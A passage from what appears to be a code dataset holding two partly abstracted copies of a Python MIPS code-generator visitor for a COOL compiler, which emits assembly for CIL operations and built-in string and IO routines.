self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, 